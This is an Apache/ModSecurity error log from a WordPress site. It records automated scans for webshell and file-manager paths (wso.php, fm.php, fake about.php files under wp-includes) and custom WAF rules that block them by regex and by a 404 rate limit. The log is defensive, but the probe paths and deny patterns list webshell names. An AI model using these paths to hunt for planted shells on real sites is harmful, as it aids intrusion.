[Thu Apr 09 16:07:14.280632 2026] [:error] [pid 18477:tid 18481] [client 216.24.210.43:47263] [client 216.24.210.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "addeMsDe826HlFeoLPI8HgAAAUI"]
[Thu Apr 09 16:07:14.625994 2026] [:error] [pid 18477:tid 18496] [client 216.24.210.13:33235] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "addeMsDe826HlFeoLPI8IAAAAVE"]
[Thu Apr 09 16:07:15.081761 2026] [:error] [pid 24515:tid 24526] [client 216.24.210.9:30759] [client 216.24.210.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "addeM61OMnvM2fMnB1NNFQAAAAc"]
[Thu Apr 09 16:07:15.447294 2026] [:error] [pid 24515:tid 24543] [client 216.24.210.67:51201] [client 216.24.210.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "addeM61OMnvM2fMnB1NNFgAAABg"]
[Thu Apr 09 16:07:15.803966 2026] [:error] [pid 18477:tid 18500] [client 216.24.210.23:56867] [client 216.24.210.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "addeM8De826HlFeoLPI8IgAAAVU"]
[Thu Apr 09 16:07:16.233420 2026] [:error] [pid 18477:tid 18492] [client 216.24.210.7:52071] [client 216.24.210.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "addeNMDe826HlFeoLPI8JQAAAU0"]
[Thu Apr 09 16:07:16.753401 2026] [:error] [pid 20837:tid 20842] [client 216.24.210.39:24785] [client 216.24.210.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "addeNPSL71FHZkjrGzOvQwAAAYM"]
[Thu Apr 09 16:07:17.168410 2026] [:error] [pid 24927:tid 24933] [client 216.24.210.24:36723] [client 216.24.210.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "addeNTXObuzEuw8mNJugVgAAAQM"]
[Thu Apr 09 16:07:17.496864 2026] [:error] [pid 20837:tid 20856] [client 173.239.218.18:65119] [client 173.239.218.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "addeNfSL71FHZkjrGzOvRAAAAZE"]
[Thu Apr 09 16:07:18.110319 2026] [:error] [pid 24624:tid 24634] [client 216.24.210.4:27433] [client 216.24.210.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "addeNu4Jn-WvK1ZBTviVHQAAAMg"]
[Thu Apr 09 16:07:18.800648 2026] [:error] [pid 24927:tid 24949] [client 216.24.210.26:40409] [client 216.24.210.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "addeNjXObuzEuw8mNJugXQAAARM"]
[Thu Apr 09 16:07:19.358580 2026] [:error] [pid 24624:tid 24650] [client 216.24.210.36:65283] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "addeN-4Jn-WvK1ZBTviVIwAAANg"]
[Thu Apr 09 16:07:19.729875 2026] [:error] [pid 18477:tid 18495] [client 216.24.210.14:33489] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Thu Apr 09 16:07:20.102029 2026] [:error] [pid 18477:tid 18491] [client 216.24.210.14:33489] [client 216.24.210.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "addeOMDe826HlFeoLPI8KQAAAUw"]
[Thu Apr 09 16:07:21.995260 2026] [:error] [pid 24517:tid 24575] [client 216.24.210.12:56355] [client 216.24.210.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "addeOXboYEn2ZFM_PS9fCgAAAIE"]
[Thu Apr 09 16:07:23.370289 2026] [:error] [pid 24624:tid 24630] [client 216.24.210.24:24951] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Thu Apr 09 16:07:23.542680 2026] [:error] [pid 24624:tid 24646] [client 216.24.210.24:24951] [client 216.24.210.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "addeO-4Jn-WvK1ZBTviVKwAAANQ"]
[Thu Apr 09 16:07:25.002763 2026] [:error] [pid 24516:tid 24558] [client 173.239.218.19:50479] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Thu Apr 09 16:07:25.184654 2026] [:error] [pid 24516:tid 24557] [client 173.239.218.19:50479] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Thu Apr 09 16:07:25.361526 2026] [:error] [pid 24516:tid 24556] [client 173.239.218.19:50479] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Thu Apr 09 16:07:26.832122 2026] [:error] [pid 24516:tid 24556] [client 173.239.218.19:50479] [client 173.239.218.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "addePthW7vSS-UkeWCUHXgAAAEk"]
[Thu Apr 09 16:07:27.589071 2026] [:error] [pid 24515:tid 24522] [client 216.24.210.9:56355] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Thu Apr 09 16:07:27.769101 2026] [:error] [pid 24515:tid 24539] [client 216.24.210.9:56355] [client 216.24.210.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "addeP61OMnvM2fMnB1NNKgAAABQ"]
[Thu Apr 09 16:07:29.172661 2026] [:error] [pid 24927:tid 24942] [client 216.24.210.3:45581] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu Apr 09 16:07:29.379062 2026] [:error] [pid 24927:tid 24941] [client 216.24.210.3:45581] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Thu Apr 09 16:07:29.544722 2026] [:error] [pid 24927:tid 24939] [client 216.24.210.3:45581] File does not exist: /usr/local/apache/htdocs/suspended-page/setup.php
[Thu Apr 09 16:07:30.422050 2026] [:error] [pid 24927:tid 24947] [client 216.24.210.3:45581] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Thu Apr 09 16:07:30.668222 2026] [:error] [pid 24927:tid 24950] [client 216.24.210.3:45581] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Thu Apr 09 16:07:31.028198 2026] [:error] [pid 24927:tid 24945] [client 216.24.210.3:45581] File does not exist: /usr/local/apache/htdocs/suspended-page/ab.php
[Thu Apr 09 16:07:31.611616 2026] [:error] [pid 24927:tid 24939] [client 216.24.210.3:45581] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Thu Apr 09 16:07:31.815370 2026] [:error] [pid 24927:tid 24934] [client 216.24.210.3:45581] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "addeQzXObuzEuw8mNJugkwAAAQQ"]
[Thu Apr 09 16:07:32.168671 2026] [:error] [pid 24927:tid 24944] [client 216.24.210.42:25687] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "addeRDXObuzEuw8mNJuglQAAAQ4"]
[Thu Apr 09 16:07:32.502783 2026] [:error] [pid 24927:tid 24948] [client 216.24.210.36:28843] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Thu Apr 09 16:07:32.702154 2026] [:error] [pid 24927:tid 24949] [client 216.24.210.36:28843] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "addeRDXObuzEuw8mNJugmwAAARM"]
[Thu Apr 09 16:07:33.305636 2026] [:error] [pid 24624:tid 24642] [client 173.239.218.150:65399] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Apr 09 16:07:33.524858 2026] [:error] [pid 24624:tid 24638] [client 173.239.218.150:65399] [client 173.239.218.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "addeRe4Jn-WvK1ZBTviVMAAAAMw"]
[Thu Apr 09 16:07:33.858195 2026] [:error] [pid 18477:tid 18493] [client 216.24.210.36:27011] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "addeRcDe826HlFeoLPI8OwAAAU4"]
[Thu Apr 09 16:07:36.563608 2026] [:error] [pid 18477:tid 18482] [client 216.24.210.66:23895] [client 216.24.210.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "addeSMDe826HlFeoLPI8RQAAAUM"]
[Thu Apr 09 16:07:36.929345 2026] [:error] [pid 24624:tid 24633] [client 216.24.210.6:51707] [client 216.24.210.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "addeSO4Jn-WvK1ZBTviVMgAAAMc"]
[Thu Apr 09 16:07:37.853649 2026] [:error] [pid 24516:tid 24565] [client 216.24.210.42:42927] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Thu Apr 09 16:07:38.260370 2026] [:error] [pid 18477:tid 18481] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/xfile25.php
[Thu Apr 09 16:07:38.353086 2026] [:error] [pid 24516:tid 24562] [client 216.24.210.42:42927] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "addeSthW7vSS-UkeWCUHaAAAAE8"]
[Thu Apr 09 16:07:38.520570 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/xff.php
[Thu Apr 09 16:07:38.780204 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/azs.php
[Thu Apr 09 16:07:39.039791 2026] [:error] [pid 18477:tid 18491] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Thu Apr 09 16:07:39.306793 2026] [:error] [pid 18477:tid 18499] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/awa.php
[Thu Apr 09 16:07:39.585588 2026] [:error] [pid 18477:tid 18487] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Thu Apr 09 16:07:39.714484 2026] [:error] [pid 24927:tid 24933] [client 216.24.210.16:37525] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Thu Apr 09 16:07:39.848964 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/popo.php
[Thu Apr 09 16:07:40.089231 2026] [:error] [pid 24927:tid 24947] [client 216.24.210.16:37525] [client 216.24.210.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "addeTDXObuzEuw8mNJugrgAAARE"]
[Thu Apr 09 16:07:40.114397 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/syndicate.php
[Thu Apr 09 16:07:40.400834 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-block.php
[Thu Apr 09 16:07:40.533387 2026] [:error] [pid 24624:tid 24640] [client 216.24.210.22:38139] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "addeTO4Jn-WvK1ZBTviVNgAAAM4"]
[Thu Apr 09 16:07:41.140211 2026] [:error] [pid 24515:tid 24533] [client 216.24.210.44:31143] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Thu Apr 09 16:07:41.341584 2026] [:error] [pid 24515:tid 24535] [client 216.24.210.44:31143] [client 216.24.210.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "addeTa1OMnvM2fMnB1NNNwAAABA"]
[Thu Apr 09 16:07:41.715555 2026] [:error] [pid 18477:tid 18500] [client 216.24.210.21:58441] [client 216.24.210.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "addeTcDe826HlFeoLPI8VwAAAVU"]
[Thu Apr 09 16:07:41.726104 2026] [:error] [pid 18477:tid 18482] [client 20.215.65.153:63626] File does not exist: /usr/local/apache/htdocs/suspended-page/ll.php
[Thu Apr 09 16:07:41.981572 2026] [:error] [pid 18477:tid 18489] [client 20.215.65.153:63626] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cxx.php"] [unique_id "addeTcDe826HlFeoLPI8WgAAAUo"]
[Thu Apr 09 16:07:42.613790 2026] [:error] [pid 24624:tid 24630] [client 216.24.210.13:25811] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Thu Apr 09 16:07:42.845458 2026] [:error] [pid 24624:tid 24646] [client 216.24.210.13:25811] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Thu Apr 09 16:07:43.248061 2026] [:error] [pid 24624:tid 24641] [client 216.24.210.13:25811] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Thu Apr 09 16:07:43.677434 2026] [:error] [pid 24624:tid 24638] [client 216.24.210.13:25811] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "addeT-4Jn-WvK1ZBTviVQgAAAMw"]
[Thu Apr 09 16:07:43.684072 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:65488] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cxx.php"] [unique_id "addeT-4Jn-WvK1ZBTviVQwAAANY"]
[Thu Apr 09 16:07:44.338343 2026] [:error] [pid 24516:tid 24559] [client 20.215.65.153:63632] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cxx.php"] [unique_id "addeUNhW7vSS-UkeWCUHaQAAAEw"]
[Thu Apr 09 16:07:44.423295 2026] [:error] [pid 24624:tid 24635] [client 216.24.210.39:48901] [client 216.24.210.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "addeUO4Jn-WvK1ZBTviVRgAAAMk"]
[Thu Apr 09 16:07:44.878676 2026] [:error] [pid 24515:tid 24537] [client 20.215.65.153:64224] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cxx.php"] [unique_id "addeUK1OMnvM2fMnB1NNOgAAABI"]
[Thu Apr 09 16:07:45.435157 2026] [:error] [pid 20837:tid 20847] [client 216.24.210.10:51785] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Thu Apr 09 16:07:45.598408 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:63657] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "addeUTXObuzEuw8mNJugrwAAAQQ"]
[Thu Apr 09 16:07:45.649913 2026] [:error] [pid 20837:tid 20862] [client 216.24.210.10:51785] [client 216.24.210.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "addeUfSL71FHZkjrGzOvZAAAAZc"]
[Thu Apr 09 16:07:46.114737 2026] [:error] [pid 20837:tid 20858] [client 20.215.65.153:64905] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "addeUvSL71FHZkjrGzOvZgAAAZM"]
[Thu Apr 09 16:07:46.429651 2026] [:error] [pid 24517:tid 24586] [client 216.24.210.6:47347] [client 216.24.210.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "addeUnboYEn2ZFM_PS9fGwAAAIw"]
[Thu Apr 09 16:07:46.645119 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:64880] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "addeUjXObuzEuw8mNJugtAAAAQI"]
[Thu Apr 09 16:07:47.216433 2026] [:error] [pid 24927:tid 24953] [client 20.215.65.153:64931] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "addeUzXObuzEuw8mNJugtwAAARc"]
[Thu Apr 09 16:07:47.410062 2026] [:error] [pid 24624:tid 24650] [client 216.24.210.41:24353] [client 216.24.210.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "addeU-4Jn-WvK1ZBTviVSAAAANg"]
